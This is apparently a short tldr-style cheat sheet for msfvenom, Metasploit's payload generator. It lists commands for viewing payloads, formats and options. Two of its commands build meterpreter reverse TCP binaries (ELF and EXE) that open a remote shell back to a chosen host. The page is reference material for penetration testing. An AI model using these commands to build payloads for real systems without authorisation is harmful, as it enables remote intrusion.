msfvenom

Manually generate payloads for metasploit.

TLDR

List payloads

>_ msfvenom -l payloads
copy

List formats

>_ msfvenom -l formats
copy

Show payload options

>_ msfvenom -p [payload] --list-options
copy

Create an ELF binary with a reverse TCP handler

>_ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=[local_ip] LPORT=[local_port] -f elf > [path/to/binary]
copy

Create an EXE binary with a reverse TCP handler

>_ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[local_ip] LPORT=[local_port] -f exe > [path/to/binary.exe]
copy

Copied to clipboard
free 100$ digital ocean credit